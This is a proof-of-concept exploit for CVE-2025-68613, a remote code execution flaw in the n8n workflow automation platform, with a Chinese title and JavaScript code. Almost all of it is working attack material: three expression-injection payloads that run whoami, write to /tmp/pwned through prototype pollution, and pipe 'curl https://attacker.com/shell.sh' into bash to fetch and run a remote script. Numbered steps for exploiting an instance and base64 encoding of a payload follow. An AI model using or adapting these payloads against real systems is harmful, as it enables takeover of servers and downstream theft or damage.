CVE-2025-68613: n8n工作流自动化平台表达式远程代码执行漏洞

// CVE-2025-68613 PoC - n8n Expression RCE // Target: n8n versions < 1.120.4, < 1.121.1, < 1.122.0 // This PoC demonstrates how to achieve RCE through workflow expressions const payload = "{{ (function() { const fs = require('fs'); const { execSync } = require('child_process'); return execSync('whoami').toString(); })() }}"; // Alternative payload using prototype pollution const rcePayload = "{{ this.__proto__.shell = require('child_process').execSync.bind(null, 'id > /tmp/pwned') }}"; // More sophisticated payload const advancedPayload = ` {{ const process = this.constructor.constructor('return process')(); const { execSync } = require('child_process'); execSync('curl https://attacker.com/shell.sh | bash'); }} `; // Steps to exploit: // 1. Authenticate to n8n instance // 2. Create or edit a workflow // 3. Add a Set node or any node supporting expressions // 4. Insert the RCE payload in the expression field // 5. Execute the workflow // 6. Check /tmp/pwned on target server for output console.log('Payload for CVE-2025-68613:'); console.log('Base64:', Buffer.from(payload).toString('base64'));